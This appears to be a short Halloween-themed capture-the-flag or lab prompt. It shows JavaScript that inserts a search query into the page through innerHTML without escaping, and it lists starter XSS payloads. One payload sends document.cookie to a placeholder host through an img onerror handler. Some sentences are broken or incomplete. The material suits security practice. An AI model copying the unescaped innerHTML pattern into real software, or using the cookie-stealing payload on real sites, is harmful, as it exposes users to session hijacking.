searchInput.addEventListener('input', function () {
const query = searchInput.value;
if (query.trim() !== "") {
const filteredArticles = filterArticles(query);
searchResultsHeading.innerHTML = `Results for: "${query}"`;
searchResultsHeading.style.display = 'block';
renderArticles(filteredArticles);
} else {
searchResultsHeading.style.display = 'none';
renderArticles(articles);
}
});
Your objective is to identify and the XSS vulnerability lurking in the shadows of the search feature and pop an alert box.
The application consists of the following haunted components:
Below are a few spooky payloads to get you started:
<script>alert('Boo!');</script>
<script>fetch('[host]')</script>
<img src=x onerror="alert('Boo!')">
<img src=x onerror="fetch('[HOST]' + document.cookie)" />
Good luck, and beware the curse of broken code!